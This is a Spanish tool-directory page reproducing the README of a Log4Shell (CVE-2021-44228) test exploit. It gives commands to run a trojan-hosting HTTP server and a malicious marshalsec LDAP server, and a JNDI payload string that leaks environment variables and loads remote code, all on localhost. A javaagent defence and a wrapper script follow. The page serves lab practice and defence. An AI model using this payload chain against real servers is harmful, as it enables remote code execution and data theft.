Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-test-exploit — Exploit de prueba para CVE-2021-44228 | Kitploit
Herramientas/GitHubGitHub/wajda/log4shell-test-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Exploit de prueba para CVE-2021-44228

Ver Repositorio
1hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Prueba de exploit de CVE-2021-44228 (log4shell)

Preparación

root@kitploit:~
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

Iniciar el servidor HTTP que aloja un payload troyano

root@kitploit:~
cd test-trojan
http-server .

Iniciar un servidor LDAP malicioso

Ver https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

Observar los eventos del exploit (opcional)

útil en casos en los que stderr está oculto

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

Exploit

Explicación

La aplicación víctima registra la siguiente cadena mediante una librería vulnerable log4j2 (versión 2.14.1)

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

ejecutando dos vectores de ataque simultáneamente:

  1. Captura de variables de entorno ($USER en este ejemplo), que pueden verse en la salida del servidor LDAP marshalsec
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. Descarga y ejecución de código malicioso que registra el mensaje !!! BUSTED !!! en el flujo de error estándar de la aplicación víctima, así como crea un archivo vacío /tmp/log4shell-BUSTED-*.
    Para que este ataque funcione, la siguiente opción JVM debe estar habilitada en el servidor víctima:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Ejecución
root@kitploit:~
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

Defensa

Ver: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

Defensa a nivel de sistema

Reemplace todos los binarios java con el script siguiente:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

Ejemplo:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
Descargar herramienta